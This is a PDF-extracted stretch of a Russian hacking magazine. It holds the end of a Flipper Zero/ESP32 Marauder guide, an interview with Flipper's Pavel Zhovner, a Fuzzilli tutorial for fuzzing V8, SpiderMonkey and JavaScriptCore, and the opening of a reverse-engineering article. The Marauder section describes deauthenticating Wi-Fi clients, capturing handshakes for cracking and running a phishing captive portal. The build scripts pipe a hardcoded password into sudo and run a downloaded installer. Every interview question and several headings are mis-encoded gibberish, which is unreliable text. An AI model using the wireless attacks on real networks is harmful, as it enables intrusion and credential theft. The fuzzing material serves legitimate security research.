Теперь скачивай репозиторий себе, устанавливай зависимости (pip
install -r requirements.txt) и подготовься запускать сам скрипт (набери
в консоли python EasyInstall.py, но пока не выполняй).
Нужно зажать кнопку BOOT на плате, в таком виде подключить ее к компь-
ютеру, отпустить кнопку и запустить скрипт. Если все прошло хорошо, пойдет
скачивание бинарников и ты увидишь меню, как на картинке ниже.

Теперь выбирай свою модель платы (поддерживается даже официальный Wi-


Fi DevBoard) — в моем случае это 5. Если драйвер установлен правильно,
прошивка пойдет сразу.

Процесс прошивки платы

В конце должно появиться сообщение об успешной прошивке.

Если после него вываливаются какие-то дополнительные ошибки — их можно


игнорировать, плата уже прошита и будет работать нормально.
Теперь отключаем плату от компьютера и подключаем к «Флипперу»
по следующей схеме:
• RX0 со стороны ESP32 — к TX (контакт 13) Flipper Zero;
• TX0 со стороны ESP32 — к RX (контакт 14) Flipper Zero;
• GND обоих устройств объединяем;
• 3V3 платы подключаем к 3V3 (контакт 9) «Флиппера».

Если все сделано правильно, загорится Flipper в твоих руках красный инди-
каторный светодиод.
Теперь можно запускать приложение ESP32 Marauder, которое в пос-
ледней версии Unleashed лежит в папке GPIO, и начинать творить непотребс-
тва. Можно, например, включить генератор призрачных сетей.

Само собой, SSID могут быть не только случайными, но и из заданного спис-


ка.
Можно захватывать хендшейки для дальнейшего взлома пароля (функция
Sniff), можно принудительно деаутентифицировать клиентов, чтобы они
не могли подключиться, можно поднять точку доступа с требованием авто-
ризации через фишинговый портал... То есть, конечно, можно все это в рам-
ках эксперимента со своими устройствами или теста на проникновение, про-
водимого по контракту, а в остальных случаях — не стоит.

Evil Portal в действии, фото с Reddit

Если же ты начинающий пентестер, то возможности открываются огромные.


Фактически это неплохая и дешевая замена некоторым известным решениям
для атак на беспроводные сети. Разве что инструкций по пользованию этим
всем мало и порог входа из-за этого повыше.

ÈÒÎÃÈ

Flipper Zero, хоть иногда и воспринимается серьезными пентестерами


как игрушка, уже обзавелся множеством модулей на многие случаи жизни.
В этот обзор не попали модули для работы с магнитными полосами карт,
камеры, франкенштейны из нескольких модулей, но все это в изобилии дос-
тупно в интернете.
Хотелось бы поблагодарить классных людей JustCallMeKoKo, TehRabbitt,
Dr.B0rk, quen0n и AWOK за большой вклад в сообщество Flipper Zero. Бла-
годаря этим людям у нас и появилось то, за что мы любим «Флиппер».
Грустный же момент состоит в том, что всех мастей тикток-хакеры пос-
тоянно портят репутацию устройству, из-за чего оно попадает под запреты
во все новых странах и нормальные исследователи безопасности (да и прос-
то гики) уже не могут получить его так просто. Тем не менее это все еще воз-
можно, так что предлагаю насладиться той свободой, которая нам пока дос-
тупна. Hack the Planet!
COVERSTORY

ПАВЕЛ ЖОВНЕР
О ПРОБЛЕМАХ РАЗРАБОТКИ,
НОВОМ МАРКЕТПЛЕЙСЕ
И СЛЕДУЮЩЕМ FLIPPER

Павел Жовнер с командой разработчиков


создали знаменитый хакерский мультитул
Flipper Zero. Его производство и рас-
пространение были сопряжены с массой
сложностей и волнительных моментов. Даниил Шеповалов
https://t.me/vecherniy_danya
В этом интервью Павел рассказал Дане aprilkey@gmail.com

Шеповалову о том, как это было, и сделал


два важных анонса: о запуске магазина
приложений для Flipper и начале работы
над старшей моделью — Flipper One.

Не забудь подписаться на телеграм-канал Дани


Шеповалова «Вечерний Даня», чтобы не пропус-
кать новые авторские материалы, и заглядывай
на danya.ru.

— Âñå ñìîòðÿò íà òåáÿ è äóìàþò: íàäî, êàê Ïàøà, íàðèñîâàòü


êàêîé-íèáóäü äåâàéñ íà ëèñòå áóìàãè... Õîòÿ ïîäîæäè, äåâàéñû
æå íå íà áóìàãå, íàâåðíîå, ðèñóþòñÿ. Êàêîé âû ñîôò
èñïîëüçóåòå?
— Мы пользуемся очень много чем. Для трассировки электроники это в
основном Altium Designer. Плюс Altium 365 — это как GitHub, только для «Аль-
тиума» — там есть коммиты, версионность, релизы. По части софта — про-
шивка написана на C. Внутри команды каждый использует свою среду раз-
работки. У нас своя система для сборки прошивки. Для планирования
интерфейсов мы используем Miro, мы писали в блоге об этом. Там же можно
найти про разработку интерфейсов и глянуть красивые майндмапы из пик-
сельных экранов. Мобильные приложения у нас нативные: для Android —
на Kotlin, для iOS — на Swift. Промдизайн в CATIA делаем. А так очень много
разного софта используем...

— Ïîëó÷àåòñÿ, âñå äóìàþò: íàäî íàðèñîâàòü â ñïåöñîôòå äåâàéñ,


çàïèëèòü åãî, ïðîäàòü ñòî ìèëëèîíîâ ýêçåìïëÿðîâ è óéòè ñ
çàâîäà. Íó à ÷òîáû çàâîäû íå îñòàíîâèëèñü, ðàññêàæè ïðî ñàìóþ
ñòðåìíóþ ñèòóàöèþ, ñâÿçàííóþ ñ Flipper Zero.
— Изначально мы взяли очень свежий чип STM32WB55, который не был
оттестирован: там в одном камне сразу и Bluetooth на втором ядре, и процес-
сор. И в какой-то момент мы обнаружили фатальный баг, который приводит
к аппаратному выгоранию передающего Bluetooth-тракта, после чего камень
никогда не возвращается в рабочее состояние. И это был конец: мы
это обнаружили на позднем этапе, и нас эта проблема откинула на год.
Пришлось четыре месяца мучить ST, чтобы они починили это. По дороге мы
нашли какую-то австралийскую компанию, которая столкнулась с той же
проблемой. В итоге после всех наших просьб в ST приняли меры. Фикс обоз-
начили как минорный, но на самом деле это был кошмарный баг. Представь,
мы выпустили бы устройство и через какое-то время у всех ломается
Bluetooth на физическом уровне!

— ×èïîâ âñåãäà õâàòàëî?


— Нет, конечно. Когда начался весь этот коллапс с кремнием, у нас тупо
не было чипов, чтобы что-то производить. Мы просто сидели какое-то время
и ничего не делали. А потом еще оказалось, что чипов нет теперь для экранов
и что наш поставщик экранов не даст то количество, которое мы запросили.
И вообще надо ждать, пока он переориентирует линию на новый кристалл.
Мы просто сидели и ждали, пока это произойдет. Попутно нашли еще одну
фабрику, которая делала нам экраны.

— À ÷òî ñ àäîâûìè ïðîäàæàìè?


— В продажах самое стремное — это сама доставка, особенно доставка в...
да вообще доставка — это жесть. То у нас арестовали контейнер, то унич-
тожили груз, то «Флипперы» не пускали куда-то. Самый дикий ад — все, что
связано с доставкой в Россию. СДЭК этот кошмарный, потом арест груза,
какие-то постоянные проблемы. Мы по триста раз собирали адреса для дос-
тавки. Люди уже переехали, начался весь этот геополитический треш.
В общем, доставка — это самое ужасное, с чем мы столкнулись. Очень
тяжело было жить с ощущением, что есть еще тысячи людей, которым
не прислали их купленные устройства. Но сейчас мы доставили всё, в том
числе и в России.

— Äîïóñòèì, òû ïåðåóáåäèë íå âñåõ. Êòî-òî ïî-ïðåæíåìó


íàìåðåí ñïðîåêòèðîâàòü ñîáñòâåííûé äåâàéñ è ïðîèçâåñòè åãî â
Êèòàå. Åñòü ñîâåòû è ëàéôõàêè?
— Тут в двух словах не ответить. Это все равно что отвечать на вопрос «А
какие бы ты советы дал тем, кто хочет построить восемнадцатиэтажный
дом?». Это большая комплексная работа. Очень важно брать профессиона-
лов и иметь кого-то с опытом реальных дел. Очень много людей, гораздых
болтать, но настоящий показатель — это реальный трекшн, реальный про-
дукт, реальные законченные дела.
Мне кажется, просто так не стоит лезть в производство устройств. Можно
попробовать, конечно, но нужно знать, что это крайне рискованно, и нужно
знать специфику китайцев. Вообще у нас в Китае живет часть нашей русско-
говорящей команды, они говорят и на китайском тоже. Поэтому у нас такие
теплые отношения с заводами, поставщиками и другими китайскими партне-
рами. Получается, что если ты можешь построить такую связь, то можно про-
бовать.

— Òèïà ÷åëîâåê ïîñåëÿåòñÿ â Øýíü÷æýíå, èùåò ïîñòàâùèêîâ è


ïîäðÿä÷èêîâ, òîðãóåòñÿ ñ íèìè, ïîòîì òðàãåäèè ñ áðàêîâàííûìè
ïàðòèÿìè è âñÿêîå òàêîå?
— У нас не совсем такой случай, у нас уже до этого был опыт производства,
и люди из топ-менеджмента находятся в Китае. Они знают язык и погружены
в китайскую культуру. Раньше ведь мы занимались производством устройств
как контрактной разработкой для других компаний, то есть была пачка
наработанных контактов и подрядчики на примете. Есть литьевые фабрики,
которые льют пластик, есть производители электроники, есть несколько фаб-
рик, на которых мы тестируем что-то, печатаем тестовые «грязные» писибихи
(PCB — printed circuit board, печатная схема).
Но вряд ли бывает так, что человек приехал и просто начинает обивать
пороги и пытается договориться на английском. Без какого-то опыта отно-
шений ты выглядишь странно, потому что производство — это высокий риск.
Если просто стучаться в двери и говорить: «Давайте делать дела», то будешь
выглядеть непонятным бомжом. Построить линию — это ресурсоемкий про-
цесс, и фабрика должна быть уверена, что она отобьет свои вложения. Либо
ты им авансируешь много денег, чтобы они стали воспринимать тебя серь-
езно, либо нужно убедить как-то еще.
Наверное, проще всего подмазаться к кому-то, кто уже наладил процесс.
Поработать какое-то время совместно, набрать контакты. На самом деле
рынок в Китае очень непрозрачный. Например, как вкатиться в разработ-
ку 1С, более-менее понятно, а чтобы вкатиться в производство электроники
в Китае, никаких рецептов нет. А ведь помимо завода есть еще поставщики
компонентов. Это тоже отдельная история, с ними надо отдельно выстра-
ивать отношения...

— À ÷òî çà êîíòðàêòíàÿ ðàçðàáîòêà äëÿ äðóãèõ êîìïàíèé?


— Можно зайти на сайт компании Design Heroes и посмотреть, какие проекты
были до «Флиппера». Например, парковочные датчики для компании Nwave.
Мобильные базовые станции для Fairwaves. Разные устройства делали.
Какие-то из них были на «Кикстартере», например проект Monument. И я
с ребятами тоже иногда работал, прошивку делал для каких-то демок.
Еще есть компания Objectlab, она была до Design Heroes. Там всё: от дат-
чиков до вендинговых аппаратов. По Москве стоят такие тележки, продающие
мороженое, — мы участвовали в их дизайне. Но электронику тогда почти
не делали. В основном промдизайн, корпуса, литье и прочее.

— Íà «Ôëèïïåðû» ó âàñ ïî-ïðåæíåìó äèêèé ñïðîñ? Èëè ñòàëî


ñïîêîéíåå?
— Сейчас мы производим около 40 тысяч устройств в месяц. Продаем при-
мерно столько же, даже чуть-чуть меньше. То есть спрос и предложение при-
мерно выровнялись. Хотим продавать чуть больше, может быть, нарастить
еще производство, может быть, оставить как есть. TechCrunch на днях писал,
что мы собираемся в этом году продать на 80 миллионов долларов. Надеюсь,
что получится 100, но хотя бы 80.

— Õîòÿ áû 80 ìèëëèîíîâ äîëëàðîâ, ëàäíî... À îòêóäà â îñíîâíîì


ïîêóïàòåëè èäóò?
— Сейчас очень много дает всякая «органика». В «Тиктоке» у нас око-
ло 800 миллионов просмотров. Да и просто сарафанка по интернету. Мы
только сейчас потихоньку начинаем тратиться на маркетинг. До этого все шло
само по себе — органически. Да и мы все время были в ситуации, когда
спрос превышает предложение. Все, что мы произвели, сразу продалось,
и дальше продавать уже нечего, поэтому не было смысла тратиться на рек-
ламу. Сейчас мы начали наращивать объемы и постепенно начинаем строить
планы продаж.

— Ñ ýêâàéðèíãîì âñå îêåé? Âðîäå âàì â PayPal áûëè äîëæíû?


— Совсем недавно в PayPal вернули последние 300 тысяч долларов и нав-
сегда нас забанили. Нам пришлось нехило потратиться на юристов, да и нер-
вов сколько ушло! Нас раз десять блокировали, потом часть денег отдали,
потом вот эти 300 тысяч зажали, но сейчас все наконец перевели. Тем вре-
менем прошло уже полтора года. А когда мы привлекли внимание к этой
истории, к нам пришло очень много таких же пострадавших терпил, которые
сидят с блокированными счетами. PayPal — ужасная помойка, не рекомендую
ни в коем случае никому никогда пользоваться.

— À ÷åì òîãäà ïîðåêîìåíäóåøü ïîëüçîâàòüñÿ, åñëè íå ïîìîéêîé?


— Тут зависит от специфики бизнеса. Я вообще не тот человек, которого нуж-
но слушать в этом плане, потому что у нас специфичный продукт: в Stripe нас,
к примеру, просто банят по своим внутренним соображениям. Если вы про-
даете алкоголь, парфюм, автомобили, страховки, там будут совершенно раз-
ные эквайринги. Тут компетентно что-то сказать очень сложно. Знаю исто-
рию, как в PayPal забанили программу для macOS — Little Snitch — за то, что
у них в письме с серийным номером для активации была последовательность
букв, в которой PayPal разглядел некое террористическое слово. Вот такой
бывает абсурд.

— Êàêèå ñàìûå íåîáû÷íûå ïðèìåíåíèÿ Flipper Zero, î êîòîðûõ âû


óçíàëè óæå îò ïîëüçîâàòåëåé?
— Я однажды увидел, как пьезодинамиком открывают какой-то ультраз-
вуковой замок. Но наверное, это можно сделать с помощью динамика
телефона. А еще меня удивило, что «Флиппер» считывает чипы домашних
животных, — мы это совсем не задумывали. Мы даже не знали, что так можно:
там другая частота — не 125, а 134 килогерца. Но наша антенна все равно
позволяет такой резонанс делать, и считывание работает, хоть и не очень
хорошо — приходится целиться.
А еще меня удивила функция инфракрасного приемника для компьютера.
Это когда ты подключаешь «Флиппер» к компьютеру по USB, ставишь девайс
инфракрасным окошком в свою сторону и можешь управлять компьютером
с пульта телевизора. «Флиппер» обнаруживается как HID-устройство, при-
нимает сигналы и управляет всем, чем захочешь. Можно нажать Play и вклю-
чить музыку или кнопкой Next слайды переключать, на остальные кнопки тоже
что-то назначить. Я даже удивился, почему я до этого не додумался.

— Ñêîëüêî ïðèìåðíî ÷åëîâåê â ìèðå ÷òî-òî ïèëÿò ïîä «Ôëèïïåð»?


— Мне очень сложно сказать, сколько реально людей. У нас в Discord что-то
в районе 50–100 тысяч человек, и всегда что-то активно обсуждают. Людей,
которые реально программируют что-то полезное, а не просто Hello World,
наверное, в районе сотни, может быть — две сотни из нашего полумиллион-
ного комьюнити. Для Flipper написано около 60 приложений. Кстати, скоро мы
откроем маркетплейс. Через мобильное приложение Flipper можно будет
ставить программы, написанные сторонними разработчиками. И любой
желающий сможет отправить нам свой FAP — Flipper Application Package.

— Êàê âûãëÿäèò êîìàíäà Flipper Zero?


— Команда у нас примерно из 50 человек. Мы сейчас хантим людей, может
быть, к концу года станет раза в два больше. У нас уникальный коллектив и по
составу, и по демографическому признаку, и по этническому. Мы очень
ЛГБТ-френдли. Вообще, я считаю, в СНГ нет команд, которые делают что-то
подобное тому, что делаем мы. Ну, может быть, Яндекс.
Мы всё разрабатываем внутри, ин-хаус, пошагово. Сначала — промыш-
ленный дизайн, то есть придумываем, как будут выглядеть формы. Затем
конструктив — то есть как устройство собирается, как шурупы вкручиваются,
где ребра жесткости, как детали будут из пресс-формы вытаскиваться и так
далее. Дальше разрабатываем электронику: сами платы трассируем, строим
тестировочные линии вокруг этого. Это важный этап, потому что наладить
производственную линию — это не просто отрассировать плату в «Альтиуме».
Прошивку тоже пишем сами: основная часть команды — это как раз прог-
раммисты. В основе — наша прошивка, а вокруг нее — множество других ути-
лит. Весь тулчейн мы сделали сами, и все лежит в открытом доступе.
В общем, это хардкорный embedded! Плюс у нас два мобильных приложения
Flipper — для iOS и для Android.
Маркетинг тоже фигачим сами: контент, сайты, видео, статьи... А также
все, что связано с комьюнити. И конечно, продажи и большая часть того, что
связано с логистикой. Именно поэтому я считаю, что в СНГ нет сравнимых
с нами команд.

— Flipper Zero èçíà÷àëüíî ïëàíèðîâàëñÿ êàê ìëàäøàÿ ìîäåëü, â


äîïîëíåíèå ê Flipper One ñ ïîëíîöåííûì ïðîöåññîðîì, Linux è
Wi-Fi. Ê ýòèì ïëàíàì âîçâðàùàåòåñü õîòÿ áû â ìûñëÿõ? ß ÷èòàë,
÷òî òû õîòåë îòêàçàòüñÿ îò ïîâòîðåíèÿ èñòîðèè ñ ðàçðàáîòêîé, íî,
ìîæåò, ýòî ìîðàëüíî áûëà êàêàÿ-òî íèçøàÿ òî÷êà, êîòîðàÿ òåïåðü
ïðîéäåíà?
— Мы сейчас работаем над Flipper One, но пока не совсем понимаем, каким
он должен быть. Мы хотим вообще жирный комбайн с FPGA и SDR, в котором
все протоколы можно будет определить программно, но пока есть сомнения,
будут ли покупать устройство за 300–500 долларов.
Так что проект в активном R&D, но пока нет понимания по важным частям.
Например, не выбрали модуль Wi-Fi, потому что все существующие чипы,
пригодные для атак, уже устарели. Возможно, придется спонсировать раз-
работку своего драйвера. В общем, увидим!
ВЗЛОМ

ФАЗЗИМ JS-ДВИЖКИ
ПРИ ПОМОЩИ FUZZILLI

Сегодня в меню макароны! Точнее, наг-


лядная демонстрация того, как исполь-
зовать фаззер Fuzzilli, чтобы искать уяз-
вимости в движках JavaScript. Теории будет
всего чуть-чуть, сосредоточимся на прак- sploitem
Vulnerability researcher в
тике. Быстренько соберем необходимый Secware.ru @sploitem
sploitem@gmail.com
инструментарий, а затем приступим к поис-
ку багов при помощи фаззинга.

Раньше фаззить движки JavaScript (те самые, что позволяют делать в браузе-
ре падающий снег или разрабатывать бэкенды на Node.js) было сложно.
Мутации JS-кода приводили к синтаксическим ошибкам, что серьезно замед-
ляло работу. Семплы отбрасывались движком, и приходилось генерировать
новые и новые. На помощь пришли фаззеры на основе грамматики, но их
применение тоже не назовешь легким.
В 2019 году исследователь безопасности saelo публично открыл свою
разработку — фаззер Fuzzilli. Идея была в том, чтобы вместо JavaScript
генерировать подобие байт-кода, которое будет проще подвергать мутаци-
ям. Собственно, хоть в названии и обыгран сорт пасты, происходит оно
от FuzzIL — Fuzzing Intermediate Language, промежуточный язык для фаззинга.

Fuzzilli

ÑÒÅÍÄ

Для стенда нам понадобится виртуальная машина на Linux. Можно скачать


готовую виртуалку с сайта osboxes.org, выбрав дистрибутив по вкусу. Я
в статье буду использовать Ubuntu 22.
Чем больше ты выделишь виртуалке ресурсов, тем лучше. Фаззер показы-
вает покрытие кода, и в зависимости от мощности машины на весь движок
может уйти от одного дня до нескольких недель.
Из инструментов понадобится Git, язык программирования Swift (не путать
с певицей), а также весь тулчейн, нужный для сборки JS-движка. Но об этом
поговорим чуть позже.
Пока же запускай виртуалку и вводи свой пароль.

Password=osboxes.org
echo $Password | sudo -S apt update
sudo apt upgrade -y

Update и upgrade

Фаззинг — это такой метод тестирования, при котором в ПО вводят неп-


равильные, неожиданные или рандомизированные данные, а фаззер отсле-
живает падения, срабатывания встроенных утверждений (assert) и утечки
памяти.
Важный параметр в фаззинге — это покрытие кода. По сути это процент
задействованного кода программы при выполнении определенного набора
тестов.
Фаззинг можно разделить на «тупой», или неструктурированный,
и «умный», или структурированный. Когда фаззер ничего не знает о структуре
входных данных программы, то это тупой фаззинг. Если знает — умный.
Создание входных данных делится на генерацию и мутацию. Генерация —
это когда данные создают полностью с нуля, мутация — когда изменяют име-
ющиеся.
Еще фаззеры можно разделить на тестирующие методом черного
и белого ящика — в зависимости от того, какие у нас есть знания
об исходном коде.
Тестирование методом черного ящика означает полное отсутствие данных
о структуре программы, в таком случае фаззер создает рандомизированные
входные данные.
Фаззинг методом белого ящика подразумевает анализ программы
для повышения покрытия кода. Например, символическое исполнение
для обхода разных частей программы. Но анализ программы занимает боль-
ше времени, чем при фаззинге методом черного ящика.
Еще «ящик» может быть серым. В таком случае мы применяем инструмен-
тацию кода вместо анализа программы. Это позволяет получать информацию
о программе без анализа. То есть что-то среднее между белым и черным
ящиком. Получается, можно быстро генерировать входные данные, но при
этом узнать информацию о покрытии кода.
Фаззер Fuzzilli относится как раз к третьему виду. По типу генерации вход-
ных данных он совмещает в себе генерацию и мутацию. По типу фаззинга он
скорее «умный».

JavaScript-äâèæêè
Основные части движка JavaScript — это парсер, интерпретатор и ком-
пилятор.

JS-пайплайн

Все начинается с парсинга исходного кода на JavaScript. Строится абстрак-


тное синтаксическое дерево (AST). На его основе создается байт-код. Затем
интерпретатор выполняет байт-код.
Во время выполнения записывается разная информация — proling data.
В дальнейшем она используется при компиляции байт-кода в машинный.
Этим занимается компилятор.
Машинный код генерируется в тех случаях, когда какой-то участок часто
используется. Например, функция выполняется в цикле. Тогда выгоднее пот-
ратить время на его компиляцию и в дальнейшем выиграть во времени
выполнения (ведь интерпретация идет медленнее).
Обычно применяется несколько компиляторов, и выбор происходит
в зависимости от уровня оптимизации кода.

Подробнее о работе движков JS — в презентации


«JavaScript engines: The Good Parts» (PDF,
WebArchive).

ÏÎÄÃÎÒÎÂÊÀ ÔÀÇÇÅÐÀ

Fuzzilli поставляется в виде исходного кода, написанного на языке Swift.


Для скачивания исходников понадобится Git, для сборки Fuzzilli — пакеты
GCC, Binutils и, конечно, исходники фаззера. Ставим зависимости и клониру-
ем репозиторий Fuzzilli.

Password=osboxes.org
echo $Password | sudo -S apt update
sudo apt install git binutils gcc -y
git clone https://github.com/googleprojectzero/fuzzilli

Клонируем репозиторий

Теперь переходим на сайт Swift в раздел Download и ищем релиз для своего
дистрибутива. Для Ubuntu 22 качаем релиз Ubuntu 22.04 x86_64.

Swift

Распаковываем архив и копируем папку usr, чтобы установить Swift. После


этого убеждаемся, что все корректно настроено.
Вот мини-скрипт для ленивых. Если читаешь эту статью спустя много лет,
поменяй переменные SwiftUrl на соответствующий URL со страницы Swift.

# Установка Swift
Password=osboxes.org
SwiftUrl=https://download.swift.org/swift-5.8.1-release/ubuntu2204/
swift-5.8.1-RELEASE/swift-5.8.1-RELEASE-ubuntu22.04.tar.gz
SwiftTar=$(echo $SwiftUrl | sed 's:.*/::')
SwiftFolder=${SwiftTar%.tar.gz}
# Переходим домой
cd $HOME
# Качаем архив
wget $SwiftUrl
# Извлекаем
tar -xzf $SwiftTar
# Устанавливаем
echo $Password | sudo -S cp -r $SwiftFolder/usr /
# Удаляем архив
rm $SwiftTar
# Удаляем папку
rm -rf $SwiftFolder
# Тестовый запуск
swift --version

Установка Swift

Теперь мы готовы к сборке фаззера. Переходим в папку Fuzzilli и запускаем


сборку.

cd fuzzilli && swift build -c release

Собираем Fuzzilli

Фаззер готов. Можно почитать раздел помощи, если есть желание.

swift run -c release FuzzilliCli --help

Переходим к подготовке JS-движков. На главной странице репозитория инс-


трукция гласит: «Скачайте исходный код движка. Скомпилируйте его, как опи-
сано в инструкции к нему в папке Targets». Для каждого движка там есть
отдельная папка, в которой указано, как собрать движок для фаззинга.

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ФАЗЗИМ JS-ДВИЖКИ
ПРИ ПОМОЩИ FUZZILLI

ÑÁÎÐÊÀ È ÔÀÇÇÈÍÃ V8

Òåîðèÿ
Начнем с движка браузера Google Chrome, он называется V8. Это движок
JavaScript и WebAssembly, разработанный в Google, распространяется
с открытым исходным кодом, написан на C++. Используется в Chrome,
Node.js и множестве дериватив Chrome.
Разработали этот движок в датском городе Орхус, а ведущего разработ-
чика зовут Ларс Бак. Бак занимался разработкой языка Self, а также
HotSpot — виртуальной машины Java. Поэтому многое из наработок Self
перекочевало в V8. Например, та же JIT-компиляция или «карты» объектов
(maps).

Подробнее — в научной работе, которая легла


в основу Self: «An Efcient Implementation of SELF,
a Dynamically-Typed Object-Oriented Language
Based on Prototypes» (PDF, WebArchive).

Движок состоит из интерпретатора Ignition, неоптимизирующего компилятора


Sparkplug и оптимизирующего компилятора TurboFan.

Пайплайн V8

Ñáîðêà
В папке Targets/V8 нам предлагают следовать инструкциям с сайта. Но я
не буду утомлять ими, а скомпилирую все в один мини-скрипт.

# Подготовка и сборка V8
Password=osboxes.org
echo $Password | sudo -S apt update
# Переходим домой
cd $HOME
# Качаем репозиторий depot_tools
git clone https://chromium.googlesource.com/chromium/tools/depot_
tools.git
# Добавляем в PATH
echo "PATH=$HOME/depot_tools:$PATH" >> ~/.bashrc
source ~/.bashrc
# Качаем исходники
gclient
fetch v8
cd v8/
gclient sync
# Ставим зависимости (update — так как скрипт попросит ввести пароль)
echo $Password | sudo -S apt update
./build/install-build-deps.sh
# Билдим при помощи скрипта из папки фаззера
$HOME/fuzzilli/Targets/V8/fuzzbuild.sh

Сборка V8

Скрипт переходит в домашний каталог пользователя, затем ставит


depot_tools (для скачивания и сборки V8), качает и компилирует исходный
код движка V8. Сборка займет какое-то время, зависит от ресурсов машины.
Можешь пока сделать небольшую разминку.

Ôàççèíã
Приступаем наконец к самому фаззингу. Для этого нужно выполнить сле-
дующую команду:

# Запускаем Fuzzilli
# Отключаем дампы
echo $Password | sudo -S sysctl -w 'kernel.core_pattern=|/bin/false'
# Переходим в папку Fuzzilli
cd $HOME/fuzzilli
# Запускаем
swift run -c release FuzzilliCli --profile=v8 --resume --storagePath=
$HOME/fuzzilli-storage-v8 $HOME/v8/out/fuzzbuild/d8

Начинаем фаззить V8

Основные настройки — это профиль движка (--profile=v8), возврат к пре-


дыдущей сессии фаззинга (--resume) и хранилище, куда фаззер будет сох-
ранять свои данные (--storagePath). Там будут храниться найденные краши,
корпус семплов и прочая информация.
Периодически он будет выводить статистику фаззинга. В основном инте-
ресны количество найденных крашей (Crashes Found) и процент покрытия
кода (Coverage).

Статус фаззинга

ÑÁÎÐÊÀ È ÔÀÇÇÈÍÃ SPIDERMONKEY

Òåîðèÿ
Переходим к JavaScript-двиглу Firefox.
SpiderMonkey — это потомок первого в мире движка JavaScript. Его релиз
состоялся аж в 1995 году! Изначально он разработан Бренданом Айком
в компании Netscape. Первые версии были написаны на C, но в дальнейшем
код переписали на C++.
Вот структура SpiderMonkey. Парсер производит байт-код. Интерпретатор
JavaScript этот байт-код выполняет. Baseline-интерпретатор занимается соз-
данием инлайнового кеша. Baseline-компилятор создает неоптимизирован-
ный машинный код. WarpMonkey — оптимизированный машинный код.

Пайплайн SpiderMonkey

Ñáîðêà
В инструкции пишут, что нужно просто клонировать репозиторий Gecko
и запустить fuzzbuild.
Но на самом деле надо применить патчи из папки Patches. И только после
этого билдить. К тому же запускать fuzzbuild нужно не из js/src, а из рута
gecko-dev.

Что ж, приступаем. Нам понадобится curl и компилятор Rust для сборки движ-
ка.

# Подготовка и сборка SpiderMonkey


Password=osboxes.org
cd $HOME
# Ставим curl
echo $Password | sudo -S apt install curl -y
# Ставим Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs -o install.
sh
sh ./install.sh -y
source "$HOME/.cargo/env"
# Клонируем
git clone https://github.com/mozilla/gecko-dev.git
# Заходим
cd gecko-dev/js/src
# Патчим
git apply $HOME/fuzzilli/Targets/Spidermonkey/Patches/*
cd $HOME/gecko-dev
# Собираем
$HOME/fuzzilli/Targets/Spidermonkey/fuzzbuild.sh

Rust установлен

Билдим

Ôàççèíã
После того как движок собран, можем запустить фаззинг из папки fuzzilli.
Команды запуска и параметры фаззера те же, кроме профиля и исполняемо-
го файла.

# Запуск Fuzzilli
# Отключаем дампы
echo $Password | sudo -S sysctl -w 'kernel.core_pattern=|/bin/false'
# Переходим в папку Fuzzilli
cd $HOME/fuzzilli
# Запускаем
swift run -c release FuzzilliCli --profile=spidermonkey --resume
--storagePath=$HOME/fuzzilli-storage-sm $HOME/gecko-dev/obj-
fuzzbuild/dist/bin/js

Фаззим SpiderMonkey

ÑÁÎÐÊÀ È ÔÀÇÇÈÍÃ JAVASCRIPTCORE

Ну и наконец, JavaScriptCore — JavaScript-движок браузера Safari.

Òåîðèÿ
Вообще, можно сказать, что это потомок JavaScript-движка KJS из браузера
Konqueror, входящего в KDE. Проект WebKit стартовал в 2001 году как форк
от KHTML и KJS.
Пайплайн у него самый сложный, четырехуровневый.
• LLint или Low Level Interpreter — это просто интерпретатор байт-кода, сге-
нерированного из исходного кода JavaScript.
• Далее идет немного оптимизирующий компилятор Baseline. Оба они
собирают информацию, необходимую для дальнейших оптимизаций
машинного кода.
• Следующий компонент — DFG JIT (Data Flow Graph Just In Time). Он отве-
чает за повышение оптимизации машинного кода.
• Ну и FTL JIT (Faster Than Light), генерирует наиболее оптимизированный
машинный код.

Пайплайн KJS

Ñáîðêà
Смотрим, что пишут в Targets по поводу JavaScriptCore.

Нужно клонировать код из репозитория WebKit, накатить патчи и запустить


fuzzbuild.sh. Для сборки потребуется установить Clang и зависимости.
В папке Tools есть готовые скрипты для этого. Качаем, ставим все необ-
ходимое, патчим, билдим. Как обычно, вот скрипт:

# Подготовка и сборка JavaScriptCore


Password=osboxes.org
cd $HOME
# Качаем исходный код
git clone https://github.com/WebKit/WebKit.git
# Ставим зависимости
cd WebKit
echo $Password | sudo -S apt update
sudo apt install clang -y
Tools/gtk/install-dependencies
# Патчим
git apply ../fuzzilli/Targets/JavaScriptCore/Patches/*
# Билдим
$HOME/fuzzilli/Targets/JavaScriptCore/fuzzbuild.sh

Сборка JSC

Ôàççèíã
Когда сборка движка будет закончена, можем запускать фаззинг. Поехали!

# Запуск Fuzzilli
# Отключаем дампы
echo $Password | sudo -S sysctl -w 'kernel.core_pattern=|/bin/false'
# Переходим в папку Fuzzilli
cd $HOME/fuzzilli
# Запускаем
swift run -c release FuzzilliCli --profile=jsc --resume --storagePath
=$HOME/fuzzilli-storage-jsc $HOME/WebKit/FuzzBuild/Debug/bin/jsc

Фаззинг JavaScriptCore

Все работает. Осталось дождаться интересных крашей!

ÂÛÂÎÄÛ

Я постарался рассказать всю необходимую теорию о фаззинге, а также мы


подготовили платформу для фаззинга трех основных движков JavaScript.
Однако Fuzzilli умеет работать и с другими движками (достаточно заглянуть
в папку Targets):
• JerryScript;
• QuickJS;
• Qt QJSEngine;
• XS;
• duktape.

Их можешь попробовать пофаззить самостоятельно.

• Coverage Guided Fuzzing for JavaScript Engines Thesis (PDF)


• Видео с OffensiveCon19
• Слайды OffensiveCon19 (PDF)
• How Fuzzilli Works
• Репозиторий Fuzzilli на GitHub
ВЗЛОМ

ИЩЕМ СТРУКТУРЫ ЯЗЫКОВ


ВЫСОКОГО УРОВНЯ
В ПРОГРАММАХ ДЛЯ X86-64

Крис Касперски Юрий Язев


Известный российский Широко известен под
хакер. Легенда ][, ex- псевдонимом yurembo.
редактор ВЗЛОМа. Также Программист, разработчик
известен под псевдонимами видеоигр, независимый
мыщъх, nezumi (яп. , исследователь. Старый автор
мышь), n2k, elraton, souriz, журнала «Хакер».
tikus, muss, farah, jardon, yazevsoft@gmail.com
KPNC.

Исследование программ, написанных на языках высокого


уровня, традиционно начинается с реконструкции ключевых
структур исходного языка — функций, локальных и глобаль-
ных переменных, ветвлений, циклов и так далее. Это делает
дизассемблированный листинг более наглядным и зна-
чительно упрощает его анализ.

